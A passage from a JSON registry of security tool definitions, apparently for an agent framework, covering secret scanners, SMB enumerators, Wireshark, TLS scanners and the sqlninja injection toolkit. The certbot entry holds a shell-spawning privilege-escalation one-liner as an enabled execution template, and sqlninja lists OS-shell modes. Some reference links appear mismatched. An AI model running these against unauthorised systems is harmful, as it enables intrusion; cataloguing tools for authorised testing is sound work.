    "_body": "\n# gitleaks — Secrets Scanner\n\ngitleaks is a Static Application Security Testing (SAST) tool for detecting hardcoded secrets like passwords, API keys, tokens, and SSH keys in git repositories. It can scan local directories, git history, or remote repository URLs.\n\n## Usage\n\n```bash\n# Scan local repository\ngitleaks -r /path/to/repo\n\n# Scan remote repository\ngitleaks -u https://github.com/user/repo\n\n# JSON output with exit code\ngitleaks -r /path/to/repo -f json -o findings.json --exit-code\n\n# Scan without git history\ngitleaks --no-git -r /path/to/directory\n\n# Scan with redaction\ngitleaks -r /path/to/repo --redact\n```\n",
    "_source": "gitleaks.md",
    "allowed-tools": [
      "gitleaks",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "secrets.scan.report",
        "description": "Secret detection report",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "secrets.scan.json",
        "description": "JSON format report",
        "mime": "application/json",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "secrets.scan.repo",
      "secrets.scan.diff",
      "secrets.detect.api-key",
      "secrets.detect.password",
      "secrets.detect.token"
    ],
    "contract": {
      "inputs": [
        {
          "type": "git.repo.path",
          "description": "Repository path or URL to scan"
        }
      ],
      "outputs": [
        {
          "type": "secrets.scan.report",
          "description": "Detected secrets report",
          "mime": "text/plain"
        },
        {
          "type": "secrets.scan.json",
          "description": "JSON format findings",
          "mime": "application/json"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SAST tool for detecting secrets, passwords, API keys, tokens, and other sensitive data in git repositories.",
    "examples": [
      {
        "description": "Scan local repository",
        "command": "gitleaks -r /path/to/repo"
      },
      {
        "description": "Scan remote repository URL",
        "command": "gitleaks -u https://github.com/user/repo"
      },
      {
        "description": "Scan with JSON output",
        "command": "gitleaks -r /path/to/repo -f json -o findings.json"
      },
      {
        "description": "Scan directory without git history",
        "command": "gitleaks --no-git -r /path/to/directory"
      },
      {
        "description": "Scan with custom config and redact secrets",
        "command": "gitleaks -r /path/to/repo -c gitleaks.toml --redact"
      }
    ],
    "execution": {
      "template": "gitleaks {flag-verbose} {flag-log-level} {flag-no-git} {flag-format} {flag-exit-code} {flag-redact} {flag-config} {flag-repo-path} {flag-repo-url}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive"
    ],
    "id": "security-secrets-gitleaks",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/gitleaks/gitleaks",
        "commands": [
          "go install github.com/gitleaks/gitleaks@latest"
        ]
      },
      {
        "method": "brew",
        "package_name": "gitleaks",
        "commands": [
          "brew install gitleaks"
        ]
      }
    ],
    "items": [
      "Password",
      "Hash",
      "NoCreds"
    ],
    "name": "gitleaks",
    "namespace": "security:secrets:gitleaks",
    "parameters": [
      {
        "name": "flag-config",
        "type": "string",
        "required": false,
        "description": "Config file path",
        "aliases": [
          "-c",
          "--config"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-repo-path",
        "type": "string",
        "required": false,
        "description": "Repository path to scan",
        "aliases": [
          "-r",
          "--repo-path"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-repo-url",
        "type": "string",
        "required": false,
        "description": "Repository URL to scan",
        "aliases": [
          "-u",
          "--repo-url"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-log-level",
        "type": "string",
        "required": false,
        "description": "Log level (debug, info, warn, error)",
        "aliases": [
          "--log-level"
        ],
        "flag": "--log-level"
      },
      {
        "name": "flag-no-git",
        "type": "boolean",
        "required": false,
        "description": "Scan a directory without git history",
        "aliases": [
          "--no-git"
        ],
        "flag": "--no-git"
      },
      {
        "name": "flag-format",
        "type": "string",
        "required": false,
        "description": "Output format (json, csv, sarif)",
        "aliases": [
          "-f",
          "--format"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-exit-code",
        "type": "boolean",
        "required": false,
        "description": "Non-zero exit code if leaks found",
        "aliases": [
          "--exit-code"
        ],
        "flag": "--exit-code"
      },
      {
        "name": "flag-redact",
        "type": "boolean",
        "required": false,
        "description": "Redact secrets from output",
        "aliases": [
          "--redact"
        ],
        "flag": "--redact"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "gitleaks GitHub",
        "url": "https://github.com/gitleaks/gitleaks"
      },
      {
        "label": "gitleaks Documentation",
        "url": "https://github.com/gitleaks/gitleaks?tab=readme-ov-file#configuration"
      }
    ],
    "related_tools": [
      "trufflehog",
      "gitrob",
      "shhgit"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "secrets-findings",
        "scan-report"
      ],
      "consumes": [
        "repo.path"
      ]
    }
  },
  {
    "_body": "",
    "_source": "smbclient.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "SMB/CIFS client for accessing SMB shares on remote servers.",
    "examples": [
      {
        "description": "Display help for smbclient",
        "command": "smbclient --help"
      }
    ],
    "execution": {
      "template": "smbclient --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-smbclient",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y smbclient"
        ]
      }
    ],
    "mitre_ids": [
      "T1021"
    ],
    "name": "smbclient",
    "namespace": "security:smb:client",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "smbclient Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/smbclient"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "enum4linux.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "Enumerates SMB/NetBIOS information from Windows systems.",
    "examples": [
      {
        "description": "Display help for enum4linux",
        "command": "enum4linux --help"
      }
    ],
    "execution": {
      "template": "enum4linux --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-enum4linux",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y enum4linux"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "enum4linux",
    "namespace": "security:smb:enumeration",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "enum4linux Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/enum4linux"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "smbmap.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "SMB enumeration tool for share drives, permissions, and directory contents.",
    "examples": [
      {
        "description": "Display help for smbmap",
        "command": "smbmap --help"
      }
    ],
    "execution": {
      "template": "smbmap --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sec-smbmap",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y smbmap"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "smbmap",
    "namespace": "security:smb:enumeration",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "smbmap Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/smbmap"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# Wireshark — Network Protocol Analyzer\n\nWireshark is the world's foremost network protocol analyzer, enabling live capture and offline inspection of hundreds of protocols. It provides deep packet inspection, advanced filtering, and rich analysis capabilities for network troubleshooting, security analysis, and forensic investigation.\n\n## Capture Modes\n\n| Mode | Command | Description |\n|------|---------|-------------|\n| Live | `wireshark -i eth0 -k` | Capture live traffic on interface |\n| Offline | `wireshark -r file.pcap` | Analyze existing pcap file |\n| Filtered | `wireshark -f \"port 80\"` | Capture with BPF filter |\n\n## Display Filters\n\nWireshark display filters are powerful expressions for isolating packets of interest:\n\n- `http` — Show only HTTP traffic\n- `tcp.port == 443` — Show traffic on port 443\n- `ip.addr == 10.0.0.1` — Filter by IP address\n- `dns.qry.name contains \"example\"` — DNS query filtering\n- `tcp.flags.syn == 1 and tcp.flags.ack == 0` — SYN packets only\n\n## Protocol Support\n\nWireshark decodes hundreds of protocols including TCP/IP, HTTP, DNS, TLS, SMB, DHCP, ARP, ICMP, SNMP, FTP, SSH, Kerberos, and many more. Protocol dissection can be extended via Lua plugins.\n",
    "_source": "wireshark.md",
    "allowed-tools": [
      "wireshark",
      "tshark"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Discovery",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.sniff.packet",
      "network.analyze.protocol",
      "network.capture.live",
      "network.capture.offline",
      "security.forensics.pcap",
      "network.filter.display",
      "network.filter.capture"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.interface",
          "description": "Network interface to capture on"
        },
        {
          "type": "file.pcap",
          "description": "PCAP file for offline analysis"
        }
      ],
      "outputs": [
        {
          "type": "file.pcap",
          "description": "Captured packet data"
        },
        {
          "type": "network.analysis.json",
          "description": "Parsed packet analysis output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access"
      ]
    },
    "dependencies": [],
    "description": "World's most popular network protocol analyzer for live traffic capture and offline pcap analysis with deep inspection of hundreds of protocols.",
    "examples": [
      {
        "description": "Start live capture on eth0",
        "command": "wireshark -i eth0 -k"
      },
      {
        "description": "Analyze offline pcap file",
        "command": "wireshark -r capture.pcap"
      },
      {
        "description": "Capture with display filter for HTTP traffic",
        "command": "wireshark -i eth0 -k -Y \"http\""
      },
      {
        "description": "Write capture to output file",
        "command": "wireshark -i eth0 -w output.pcap -k"
      },
      {
        "description": "Capture with BPF filter for port 80 only",
        "command": "wireshark -i eth0 -f \"port 80\" -k"
      },
      {
        "description": "List available capture interfaces",
        "command": "wireshark -D"
      },
      {
        "description": "Open pcap with specific display filter",
        "command": "wireshark -r capture.pcap -Y \"tcp.port==443\""
      }
    ],
    "execution": {
      "template": "wireshark -i {interface} -k",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "eth0"
    },
    "id": "security-sniff-wireshark",
    "install": [
      {
        "method": "apt",
        "package_name": "wireshark",
        "commands": [
          "apt-get install -y wireshark"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "name": "Wireshark",
    "namespace": "security:sniff:wireshark",
    "parameters": [
      {
        "name": "S",
        "type": "boolean",
        "required": false,
        "description": "Update packet display as capture progresses.",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "ringbuf      Set ring buffer options.",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "capture-filter",
        "template_key": "capture-filter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set capture filter expression (pcap-filter syntax)",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "display-filter",
        "template_key": "display-filter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Apply display filter before starting",
        "aliases": [
          "-Y",
          "--display-filter"
        ],
        "flag": "-Y"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Display help and exit.",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "hex",
        "template_key": "hex",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Print hex dump of packet data",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "interface",
        "template_key": "interface",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Network interface or pipe name to capture on",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "list-interfaces",
        "template_key": "list-interfaces",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Print list of available interfaces and exit",
        "aliases": [
          "-D",
          "--list-interfaces"
        ],
        "flag": "-D"
      },
      {
        "name": "output-format",
        "template_key": "output-format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Format packet output (fields, pdml, psml, json)",
        "aliases": [
          "-T",
          "--output-format"
        ],
        "flag": "-T"
      },
      {
        "name": "packet-count",
        "template_key": "packet-count",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Stop after capturing count packets",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet mode (suppress packet output)",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "read-file",
        "template_key": "read-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Read packet data from pcap/pcapng file",
        "aliases": [
          "-r",
          "--read-file"
        ],
        "flag": "-r"
      },
      {
        "name": "start-capture",
        "template_key": "start-capture",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Start capturing immediately",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose printing of packet details",
        "aliases": [
          "-V"
        ],
        "flag": "-V"
      },
      {
        "name": "write-file",
        "template_key": "write-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write raw packets to output file",
        "aliases": [
          "-w",
          "--write-file"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Wireshark Official Site",
        "url": "https://www.wireshark.org/"
      },
      {
        "label": "Wireshark Documentation",
        "url": "https://www.wireshark.org/docs/"
      }
    ],
    "related_tools": [
      "tcpdump",
      "tshark",
      "ettercap"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "high",
      "disk_io": "high"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "network-sniffing",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "pcap-capture",
        "packet-analysis"
      ],
      "consumes": [
        "target-interface",
        "pcap-file"
      ]
    }
  },
  {
    "_body": "\n# Sqlninja — SQL Server Injection Toolkit\n\nSqlninja is a Perl-based tool for exploiting blind SQL injection vulnerabilities in Microsoft SQL Server. It provides features for privilege escalation, command execution, data extraction, and reverse shell access via out-of-band channels.\n\n## Usage\n\n```bash\n# Test injection point (after editing target.conf)\nsqlninja -f target.conf -m test\n\n# Interactive SQL shell\nsqlninja -f target.conf -m sql-shell\n\n# Interactive OS shell (via xp_cmdshell)\nsqlninja -f target.conf -m os-shell\n\n# Data extraction\nsqlninja -f target.conf -m data\n```\n",
    "_source": "sqlninja.md",
    "allowed-tools": [
      "sqlninja",
      "perl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "sqli.output",
        "description": "SQL injection exploitation results",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "sqli.shell",
        "description": "Command shell via SQL injection",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "sqli.blind-exploit",
      "sqli.mssql-inject",
      "sqli.cmd-exec",
      "sqli.privilege-escalation",
      "sqli.data-exfil"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target SQL Server host"
        },
        {
          "type": "network.port",
          "description": "Target SQL Server port"
        },
        {
          "type": "web.target.url",
          "description": "URL with injection point"
        }
      ],
      "outputs": [
        {
          "type": "sqli.output",
          "description": "Command execution output",
          "mime": "text/plain"
        },
        {
          "type": "sqli.shell",
          "description": "Interactive shell session",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "perl",
      "nmap"
    ],
    "description": "SQL Server injection and takeover tool that exploits blind SQL injection vulnerabilities for privilege escalation, command execution, and data extraction.",
    "examples": [
      {
        "description": "Test injection point",
        "command": "sqlninja -f target.conf -m test"
      },
      {
        "description": "Get SQL shell",
        "command": "sqlninja -f target.conf -m sql-shell"
      },
      {
        "description": "Get OS shell",
        "command": "sqlninja -f target.conf -m os-shell"
      },
      {
        "description": "Extract data",
        "command": "sqlninja -f target.conf -m data"
      }
    ],
    "execution": {
      "template": "sqlninja {flag-mode} {flag-payload} {flag-timeout} -f {conf}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "remote",
      "requires-root",
      "stealth"
    ],
    "id": "security-sqli-sqlninja",
    "install": [
      {
        "method": "apt",
        "package_name": "sqlninja",
        "commands": [
          "apt-get install -y sqlninja"
        ]
      }
    ],
    "items": [
      "Shell",
      "Password",
      "Hash"
    ],
    "name": "sqlninja",
    "namespace": "security:sqli:sqlninja",
    "parameters": [
      {
        "name": "conf",
        "type": "string",
        "required": true,
        "description": "Configuration file for the target",
        "aliases": [
          "-f",
          "--conf"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-mode",
        "type": "string",
        "required": false,
        "description": "Mode (test, attack, sql-shell, os-shell, etc.)",
        "aliases": [
          "-m",
          "--mode"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-payload",
        "type": "integer",
        "required": false,
        "description": "Payload type number",
        "aliases": [
          "-p",
          "--payload"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-timeout",
        "type": "integer",
        "required": false,
        "description": "Query timeout in seconds",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Sqlninja GitHub",
        "url": "https://github.com/sqlmapproject/sqlninja"
      }
    ],
    "related_tools": [
      "sqlmap",
      "ghauri",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "HTTP",
      "MSSQL"
    ],
    "techniques": [
      "execution",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "sqli-scan-results",
        "remote-shell",
        "extracted-data"
      ],
      "consumes": [
        "target-host",
        "target-port",
        "inject-point"
      ]
    }
  },
  {
    "_body": "",
    "_source": "certbot.md",
    "allowed-tools": [
      "certbot",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Let's Encrypt certificate client, can spawn a shell via pre-hook or manual hooks.",
    "examples": [
      {
        "description": "Spawn a shell via certbot pre-hook",
        "command": "certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0'"
      }
    ],
    "execution": {
      "template": "certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-tls-certbot",
    "install": [
      {
        "method": "apt",
        "package_name": "certbot",
        "commands": [
          "apt-get install -y certbot"
        ]
      }
    ],
    "items": [
      "PFX"
    ],
    "name": "certbot",
    "namespace": "security:tls:certbot",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/certbot/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# sslscan — TLS/SSL Scanner\n\nsslscan is a fast, lightweight C-based TLS/SSL scanner that tests services for supported cipher suites, protocol versions, certificate information, and known vulnerabilities. It is commonly included in Kali Linux and other pentesting distributions.\n\n## Usage\n\n```bash\n# Basic scan\nsslscan example.com:443\n\n# XML output\nsslscan --xml-file scan.xml example.com:443\n\n# Scan with SNI\nsslscan --sni example.com 192.168.1.100:443\n\n# Check STARTTLS\nsslscan --starttls smtp mail.example.com:25\n```\n",
    "_source": "sslscan.md",
    "allowed-tools": [
      "sslscan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.txt",
        "description": "TLS scan results as text",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "report.xml",
        "description": "TLS scan results as XML",
        "mime": "text/xml",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "tls.scan.certificate",
      "tls.scan.cipher",
      "tls.scan.protocol"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target hostname or IP"
        },
        {
          "type": "network.port",
          "description": "Target port (default 443)"
        }
      ],
      "outputs": [
        {
          "type": "report.txt",
          "description": "Scan results in text",
          "mime": "text/plain"
        },
        {
          "type": "report.xml",
          "description": "Scan results in XML",
          "mime": "text/xml"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast C-based TLS/SSL scanner that checks protocol support, cipher suites, certificate information, and performs comprehensive server configuration analysis.",
    "examples": [
      {
        "description": "Basic TLS scan",
        "command": "sslscan example.com:443"
      },
      {
        "description": "XML output to file",
        "command": "sslscan --xml-file scan.xml example.com:443"
      },
      {
        "description": "Check STARTTLS IMAP",
        "command": "sslscan --starttls imap mail.example.com:143"
      }
    ],
    "execution": {
      "template": "sslscan {flag-xml} {flag-xmlfile} {flag-no-colour} {flag-no-heartbleed} {flag-ssl2} {flag-ssl3} {flag-tls10} {flag-tls11} {flag-tls12} {flag-tls13} {flag-starttls} {flag-sni} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "id": "security-tls-sslscan",
    "install": [
      {
        "method": "apt",
        "package_name": "sslscan",
        "commands": [
          "apt-get install -y sslscan"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "sslscan",
    "namespace": "security:tls:sslscan",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target hostname:port"
      },
      {
        "name": "flag-xml",
        "type": "boolean",
        "required": false,
        "description": "Output in XML format",
        "aliases": [
          "--xml"
        ],
        "flag": "--xml"
      },
      {
        "name": "flag-xmlfile",
        "type": "string",
        "required": false,
        "description": "Output XML to file",
        "aliases": [
          "--xml-file"
        ],
        "flag": "--xml-file"
      },
      {
        "name": "flag-no-colour",
        "type": "boolean",
        "required": false,
        "description": "Disable colored output",
        "aliases": [
          "--no-colour"
        ],
        "flag": "--no-colour"
      },
      {
        "name": "flag-no-heartbleed",
        "type": "boolean",
        "required": false,
        "description": "Skip Heartbleed check",
        "aliases": [
          "--no-heartbleed"
        ],
        "flag": "--no-heartbleed"
      },
      {
        "name": "flag-ssl2",
        "type": "boolean",
        "required": false,
        "description": "Only check SSLv2",
        "aliases": [
          "--ssl2"
        ],
        "flag": "--ssl2"
      },
      {
        "name": "flag-ssl3",
        "type": "boolean",
        "required": false,
        "description": "Only check SSLv3",
        "aliases": [
          "--ssl3"
        ],
        "flag": "--ssl3"
      },
      {
        "name": "flag-tls10",
        "type": "boolean",
        "required": false,
        "description": "Only check TLSv1.0",
        "aliases": [
          "--tls10"
        ],
        "flag": "--tls10"
      },
      {
        "name": "flag-tls11",
        "type": "boolean",
        "required": false,
        "description": "Only check TLSv1.1",
        "aliases": [
          "--tls11"
        ],
        "flag": "--tls11"
      },
      {
        "name": "flag-tls12",
        "type": "boolean",
        "required": false,
        "description": "Only check TLSv1.2",
        "aliases": [
          "--tls12"
        ],
        "flag": "--tls12"
      },
      {
        "name": "flag-tls13",
        "type": "boolean",
        "required": false,
        "description": "Only check TLSv1.3",
        "aliases": [
          "--tls13"
        ],
        "flag": "--tls13"
      },
      {
        "name": "flag-starttls",
        "type": "string",
        "required": false,
        "description": "STARTTLS protocol (smtp, imap, pop3, etc.)",
        "aliases": [
          "--starttls"
        ],
        "flag": "--starttls"
      },
      {
        "name": "flag-sni",
        "type": "string",
        "required": false,
        "description": "Server Name Indication hostname",
        "aliases": [
          "--sni"
        ],
        "flag": "--sni"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "sslscan GitHub",
        "url": "https://github.com/rbsec/sslscan"
      }
    ],
    "related_tools": [
      "testssl.sh",
      "sslyze",
      "openssl",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTPS"
    ],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "tls-scan-results",
        "cipher-info"
      ],
      "consumes": [
        "target-host",
        "target-port"
      ]
    }
  },
  {
    "_body": "\n# sslyze — SSL/TLS Scanner\n\nsslyze is a fast and comprehensive Python-based TLS/SSL scanner that analyzes server configurations. It checks protocol support (SSLv2, SSLv3, TLS 1.0-1.3), cipher suite strength, certificate validity, and known vulnerabilities like Heartbleed, ROBOT, and others.\n\n## Usage\n\n```bash\n# Basic scan\nsslyze example.com\n\n# Full scan with JSON output\nsslyze --regular --certinfo --json_out scan.json example.com\n\n# Check STARTTLS on SMTP\nsslyze --starttls smtp mail.example.com:25\n\n# Check specific TLS version\nsslyze --tlsv1_2 --tlsv1_3 example.com\n```\n",
    "_source": "sslyze.md",
    "allowed-tools": [
      "sslyze",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "report.json",
        "description": "TLS scan results as JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "report.txt",
        "description": "TLS scan results as text",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "tls.scan.certificate",
      "tls.scan.cipher",
      "tls.scan.protocol",
      "tls.scan.vulnerability"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target hostname or IP address"
        },
        {
          "type": "network.port",
          "description": "Target port (default 443)"
        }
      ],
      "outputs": [
        {
          "type": "report.json",
          "description": "Scan results in JSON",
          "mime": "application/json"
        },
        {
          "type": "report.txt",
          "description": "Scan results in text",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Python-based SSL/TLS scanner that analyzes server configurations for protocol support, cipher strength, certificate validation, and known vulnerabilities.",
    "examples": [
      {
        "description": "Basic TLS scan on default port",
        "command": "sslyze example.com"
      },
      {
        "description": "Scan specific port with JSON output",
        "command": "sslyze --json_out results.json example.com:8443"
      },
      {
        "description": "Full scan with certificate info",
        "command": "sslyze --regular --certinfo example.com"
      },
      {
        "description": "Check STARTTLS for SMTP",
        "command": "sslyze --starttls smtp example.com:25"
      }
    ],
    "execution": {
      "template": "sslyze {flag-regular} {flag-certinfo} {flag-sslv2} {flag-sslv3} {flag-tlsv1} {flag-tlsv11} {flag-tlsv12} {flag-tlsv13} {flag-starttls} {flag-json} {target}:{port}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "id": "security-tls-sslyze",
    "install": [
      {
        "method": "pip",
        "package_name": "sslyze",
        "commands": [
